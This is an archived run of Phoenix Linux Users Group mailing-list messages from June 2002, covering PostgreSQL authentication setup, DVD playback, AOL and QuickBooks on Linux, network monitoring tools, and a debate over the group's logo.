Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 10:07:39 -0700 Subject: Hello I'm new (kinda) References: <20020627013127.16883.qmail@web13408.mail.yahoo.com> Message-ID: <3D1C97DB.20301@rogersdirect.com> I'm using the Xine player out of the box that comes with Mandrake 8.2. Only region free DVD's play. I've tried multiple Region 1 DVD's from different distributors and none of them work. bob smith wrote: >--- Don Calfa wrote: > > >>Are you able to play Region 1 DVD's? I am only able >>to play region free >>DVD's on Mandrake 8.2 >> >> > >Hi Don, >Yes I'm able to play Region 1. I tried out one of my >sisters DVD's and it worked fine. What errors are you >getting? What player are you using? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:57:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 08:57:52 -0700 Subject: Fw: 80/20 Rule for Desktops Message-ID: looky what i got from one of my mailing lists, i only deleted the sponsored ads they were not for M$: ----- Original Message ----- From: Sent: Thursday, June 27, 2002 10:51 PM Subject: 80/20 Rule for Desktops > > > ENTERPRISE NETWORK MANAGEMENT --- June 28, 2002 > Published by ITworld.com -- changing the way you view IT > http://www.itworld.com/newsletters > ____________________________________________________________________________ ____ > > HIGHLIGHTS > > * The growth of Linux desktop alternatives has corresponded with > Microsoft's restrictive new licensing scheme. ____________________________________________________________________________ __ > > 80/20 Rule for Desktops > By James Gaskin > > As Microsoft's licensing terms restrictions get closer, more desktop > news demands some attention. By this time next year, Linux desktop > alternatives will show serious market share (over 5 percent). In fact, > Linux desktop share could overtake Macintosh share before next summer. > > Why? Two big reasons. First, Microsoft's licensing lunacy aggravated > more people than anyone, especially at Microsoft, expected. Second, > Linux vendors now, or soon will, offer a desktop system perfectly usable > by about 80 percent of computers users on the Internet. Red Hat pulls > the most weight in Linux circles today, but all the Linux desktop > implementations have value. By next year, desktop Linux systems will > install faster and easier than Windows. > > What do many people do all day on their computers? E-mail, Web access, > and light word-processing. Add calendar and address book in there if you > want, but many companies now provide those features on Web hosts rather > than trust each user to backup and secure their own information. > > Linux systems have fine e-mail clients. Not Outlook, perhaps, but the > viruses and management overhead required to support Outlook clients with > Microsoft e-mail servers grows every day, and companies also want out > from under that cloud. If you haven't noticed, Web-based e-mail solves > many bandwidth and security issues, making a Web-hosted e-mail client > more popular every day, even under Linux. > > The Netscape Web client suite comes with many Linux desktop > distributions, and the Open Source community reworking Netscape through > the Mozilla project just released some software. I'm using the Netscape > 7.0 beta release, and find it more stable than Netscape 6.2 and Internet > Explorer 5.5. Mark another Linux winner for the 80 percent group. > > Light word processing, letters, and memos work quite well in smaller > applications. Long documents, and those with macros (virus magnets), may > need a stout application like Microsoft Word or Corel's WordPerfect, but > few people really need the power. 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Click here! > http://itw.itworld.com/GoForward/a14724a60762aSa100254133a21 > > SUBSCRIBE/UNSUBSCRIBE > Please click on the link below to modify your subscription, unsubscribe, > or change your email address: > > http://itw.itworld.com/Change-Remove/a14724a100254133a21a60762 > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:49:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 14:49:59 -0700 Subject: postgreSQL permission problems Message-ID: <1738B2A44A4FD3118A500000F848CBCF0DC1A9BE@xcem-aztem-01.wellsfargo.com> Srs, I just unsubscribe from this list, although I'm still receiving emails. Can someone unsubscribe me? -----Original Message----- From: Mike Starke [mailto:meg@lilly.csoft.net] Sent: Friday, June 28, 2002 2:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: postgreSQL permission problems Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:41:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:41:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <000301c21f1e$dc00b8f0$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I don't want to diminish 'Austin's' much appreciated help on this issue, however, I'd like to make known my feelings on the logo. I really liked the very first logo, with the prickly pear [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand Alan's point about the saguaros. I would personally like to see the right Prickly Pear, or the original mirrored to the left, and the left saguaro of the latest version [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I know that this is asking a lot of someone who has already committed more time and effort than ever expected, and so in return I volunteer to make these changes myself if a master PNG could be provided. And thanks again, 'Austin', if that's your real name... "There are only two ways to live your life. One is as though nothing is a miracle. The other is as though everything is a miracle." -- Albert Einstein matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of slr Sent: Friday, June 28, 2002 4:58 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: New Version of PLUG Logo check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0saY4p6zlv2o83EQIrzgCgy+e7PQXTzxZ9HFLEAKLCsURKiskAoPxt vr6PZv+s1mpLuZKLIUSup7ws =PtjO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:30:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 28 Jun 2002 13:30:18 -0700 Subject: Linux at Work Message-ID: <200206281330.18502.charlie@swtravel.com> This is more of a report that a query, but any suggestions would be appreciated. I finally have discovered a workaround for a mission criticle intranet application. Here is the scenario. 1. Login to page on our intranet. 2. enter either a phone number or extension number Here is where trouble starts. 3. A page is launched. This page is a frameset, each frame refreshes seperatley. This separate refreshing works in Mozilla 1.0, Opera 6.0 and I also got it working in IE 5.5 running under wine. The separate refreshing doesn't work with Konquerer 3.0.0, both frames freeze. 4. When calls come in, one of the frames lists how many calls are on queue and the other frame lists the nature of the first call on the queue and gives an option to either take the call or re queue it to someone else. A sound is generated when a call comes it. The line in the code that generates the sound is some sort of non standard Microsoft thing. The only browser that properly parses this MS tag is Konquerer, it generates the sound. (Konquerer also does something that I have only been able to get IE 5.5 to do. It allows multiple sessions to be opened in separate virtual windows, and better yet also keeps any windows opened by a page in a particular window to open in that window independent of what is going on in each other virtual window) Here is the work around, I don't need to see the number of calls on queue, so I login as normal, put in my extension number and then manually launch only the frame that gives the nature of the call and that allows me to either take or requeue a call. I would love to post the HTML code that does all this, but its proprietary and the owner of the company won't let me show it to out siders. Anyway thank goodness for the variety of ways of doing things in linux . Charlie From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 13:33:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 06:33:44 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> Message-ID: Our banner says "Users" Group... let's be consistent at least. The logo should say "Users". \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Sat, 29 Jun 2002 08:24:21 -0700 Subject: PLUG Logo Update! References: Message-ID: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> well, i think i asked this ? before, because the PLUG web site is inconsistant. and yours is only the second comment about "Users" vs "User". how does the group feel about this isssue? slr ----- Original Message ----- From: "William Lindley" To: Sent: Saturday, June 29, 2002 6:33 AM Subject: Re: PLUG Logo Update! > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:50:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 29 Jun 2002 08:50:56 -0700 Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <1025365856.2483.1.camel@bryceco1> I really don't care all that much except that it be consistent and plural. $0.02 On Sat, 2002-06-29 at 08:24, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 09:01:14 -0700 Subject: Mozilla troubles References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <001c01c21f86$3214ae10$0601010a@tickticker.com> since i don't use it for email, I am definitely sticking with Opera, although mozilla is all i use on my lycoris box, the other 5 have Opera. Mouse gestures.....unbeatable. anthony ----- Original Message ----- From: "bob smith" To: Sent: Friday, June 28, 2002 5:04 PM Subject: Mozilla troubles > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:31:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 09:31:47 -0700 Subject: New Version of PLUG Logo In-Reply-To: <000301c21f1e$dc00b8f0$6500000a@janus> References: <000301c21f1e$dc00b8f0$6500000a@janus> Message-ID: <200206290931.47521.dennisk@sahuaro.f2s.com> On Friday 28 June 2002 08:41 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I don't want to diminish 'Austin's' much appreciated help on this > issue, however, I'd like to make known my feelings on the logo. I > really liked the very first logo, with the prickly pear > [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand > Alan's point about the saguaros. I would personally like to see the > right Prickly Pear, or the original mirrored to the left, and the > left saguaro of the latest version > [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I > know that this is asking a lot of someone who has already committed > more time and effort than ever expected, and so in return I volunteer > to make these changes myself if a master PNG could be provided. > > And thanks again, 'Austin', if that's your real name... > > > "There are only two ways to live your life. One is as though nothing > is a miracle. The other is as though everything is a miracle." > -- Albert Einstein > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > I have to agree with Matt, the original design is compact and "reads" well. Tux is dominate and the cacti says "desert." In short, it works. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:01:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 29 Jun 2002 10:01:46 -0700 Subject: Membership database References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <02062711351412.07972@nova.wedge.org> Message-ID: <3D1DE7FA.D9C5FC65@pop.phnx.uswest.net> FWIW, I think that a good search engine aimed into the various plug-* archives would be the most useful tool we could offer. There's a bunch of great information that's already been posted. If someone found an entry with information related to what they need, they'd also have the contact information (email addr) of a person likely to have more information on the topic. Again, FWIW. Steve Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > My thoughts on a member database. > ... From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:28:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 10:28:33 -0700 Subject: hot off of slashdot Message-ID: <000a01c21f92$66836a90$0601010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM=20 from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that = in the latest Windows Media Player security patch, the EULA (the = "license agreement" you click on) says that you give MS the right to = install digital rights management software, and the right to disable any = other programs which may circumvent DRM on your computer." So if you = want your machine secure, you also want microsoft to have free reign on = your PC.=20 ------=_NextPart_000_0007_01C21F57.B8356CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
it's not just interesting, it's kinda=20 sickening...
 
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from the=20 under-the-guise-of-security dept.
MobyTurbo writes "In an article on = BSD=20 Vault a careful reader posts that in the latest Windows Media Player = security=20 patch, the EULA (the "license agreement" you click on) says that you = give MS the=20 right to install digital rights management software, and the right to = disable=20 any other programs which may circumvent DRM on your computer." So if you = want=20 your machine secure, you also want microsoft to have free reign on your = PC.=20
------=_NextPart_000_0007_01C21F57.B8356CC0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 10:32:36 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <200206290931.47521.dennisk@sahuaro.f2s.com> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> Message-ID: <200206291032.36487.dennisk@sahuaro.f2s.com> Take the PLUG logo and add a nice KDE wallpaper and you have delicious desktop! http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg Dennis Kibbe PS - too much time on a Saturday morning From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 17:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 10:42:31 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206290931.47521.dennisk@sahuaro.f2s.com> <200206291032.36487.dennisk@sahuaro.f2s.com> Message-ID: <3D1DF187.977B009B@leml.asu.edu> Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > desktop! > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > Dennis Kibbe > PS - too much time on a Saturday morning Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:01:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 11:01:48 -0700 Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1DF187.977B009B@leml.asu.edu> References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> Message-ID: <200206291101.48493.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > Dennis Kibbe wrote: > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > desktop! > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > Dennis Kibbe > > PS - too much time on a Saturday morning > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > ;-) > > > EBo -- Didn't I see a movie preview where those prehistoric creatures return to life and come swooping down on Redmond breathing fire? Dennis From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:25:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 11:25:06 -0700 Subject: Linux and AOL Message-ID: <3D1DFB82.80D376EE@cox.net> Hi, all- One of my co-workers is interested in getting Linux installed on her PC at home. She uses AOL for internet access. How difficult is it to get a Linux box set up for AOL? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 18:30:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Sat, 29 Jun 2002 11:30:51 -0700 Subject: Netsaint References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <010e01c21f9b$196dbf90$e367c6d0@chelly> ----- Original Message ----- From: "slr" To: ; "Lowell Hamilton" Sent: Thursday, June 27, 2002 16:38 Subject: Re: Netsaint > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr I've run NTOP before, and the 1.xx works, but doesn't really do web viewable reports. I played with 2.xx about 2 months ago, and it crashed daily. I could have gotten a 'stable' copy from the CVS, but decided to wait a bit. I was impressed with NTOP, but it eats memory. I liked the fact that I could 'see' active TCP connections on my network and that I could see most active ports etc. I will try NTOP again in the future. For monitoring, I found the main utility of NTOP in an overall 'who's sucking the bandwidth' scenario. If I had the funding, I'd buy InMon's traffic server which polls most monitorable HP switches for current traffic. It runs on RedHat and includes probe software which can actually report what's happening in a 1Gbps pipe. I've used NetSaint + NEAT, and it works well. If you are a whiz at editing the netsaint.cfg NEAT will hold you back. If you just want to update an IP address or add a new device once in a while, I think NEAT is great. slr, I don't think NetSaint is an overkill for your situation. In fact I will suggest that you look at Cricket to take you NetSaint values and graph them. Graphs rock! Especially when there is an outage or slowdown, and you can show your boss, and say 'See? Here's the problem, our SQL box keeps running out of memory during the slowdowns.' Tony From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:11:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 29 Jun 2002 12:11:38 -0700 Subject: PLUG Logo - serving suggestion References: <000301c21f1e$dc00b8f0$6500000a@janus> <200206291032.36487.dennisk@sahuaro.f2s.com> <3D1DF187.977B009B@leml.asu.edu> <200206291101.48493.dennisk@sahuaro.f2s.com> Message-ID: <3D1E066A.5D0E0DB8@leml.asu.edu> Dennis Kibbe wrote: > > On Saturday 29 June 2002 10:42 am, John (EBo) David wrote: > > Dennis Kibbe wrote: > > > Take the PLUG logo and add a nice KDE wallpaper and you have delicious > > > desktop! > > > > > > http://www.sahuaro.f2s.com/plug_logo_wallpaper2.jpg > > > > > > Dennis Kibbe > > > PS - too much time on a Saturday morning > > > > Hey Dennis... how bout a Penguinelli (Kokopelli/Tux hybrid) Petroglyph? > > ;-) > > > > > > EBo -- > > Didn't I see a movie preview where those prehistoric creatures return to life > and come swooping down on Redmond breathing fire? naaa... That would be JurasicTux. Penguinelli is the southwestern opensorce hunchback coder... no one remembers when Tux first showed up, but he's been coding ever since ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 12:09:03 -0700 (MST) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: On Sat, 29 Jun 2002, Lee Einer wrote: > How difficult is it to get a Linux box set up for AOL? I could convert several people to Linux if it worked with AOL. "You can just switch ISP's," I say. "Oh, no, I don't want the hassle." "grrrrrmph." As far as I know, it's impossible to use AOL as your ISP for Linux. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:33:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 15:33:11 -0400 Subject: hot off of slashdot Message-ID: All the more reason not to use Microsoft Products. Original Message: ----------------- From: tickticker tickticker@cox.net Date: Sat, 29 Jun 2002 10:28:33 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: hot off of slashdot it's not just interesting, it's kinda sickening... Microsoft Media Player "Security Patch" Changes EULA Big Time Posted by CmdrTaco on Saturday June 29, @01:23PM from the under-the-guise-of-security dept. MobyTurbo writes "In an article on BSD Vault a careful reader posts that in the latest Windows Media Player security patch, the EULA (the "license agreement" you click on) says that you give MS the right to install digital rights management software, and the right to disable any other programs which may circumvent DRM on your computer." So if you want your machine secure, you also want microsoft to have free reign on your PC. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:36:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:36:13 -0700 Subject: Linux and AOL References: Message-ID: <003101c21fa4$3aa93320$0b02a8c0@krycom> You might wnat to have a look here... http://news.com.com/2100-1023-244438.html?legacy=cnet ----- Original Message ----- From: "William Lindley" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 12:09 PM Subject: Re: Linux and AOL > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for AOL? > > I could convert several people to Linux if it worked with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your ISP for Linux. > > \\/ > http://www.wlindley.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:38:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Hmm... Any English professors in the audience? We could do: User Users User's Users' All of these examples can be found in use by other Linux groups on the 'net. We're a group of "Linux users," but we're also a "user group." So I guess it depends on where you put the emphasis on the phrase. The Linux group in Portland uses: "Portland Linux Unix Group" which gets rid of the "is it plural or not" problem all together. ;-) ~M On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:32:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 29 Jun 2002 12:32:55 -0700 (PDT) Subject: Linux and AOL In-Reply-To: <3D1DFB82.80D376EE@cox.net> Message-ID: There's currently not an AOL client for Linux. You can use the AOL Instant Messenger on Linux and you can check your email through their web interface, however. I would suggest that you contact AOL and let them know you're interested in an official Linux AOL client. I know of a lot of people that only use their computer for AOL and they wouldn't mind having Linux, as long as they can still use AOL. ~M On Sat, 29 Jun 2002, Lee Einer wrote: > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 29 Jun 2002 12:44:27 -0700 Subject: Gamespy Message-ID: <004001c21fa5$60c17030$0b02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_003D_01C21F6A.B448A790 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Anyone hear about the game spy installer infecting some 3100 PC's with = the nimda viurs? Richard L. Proctor Krystal Computer 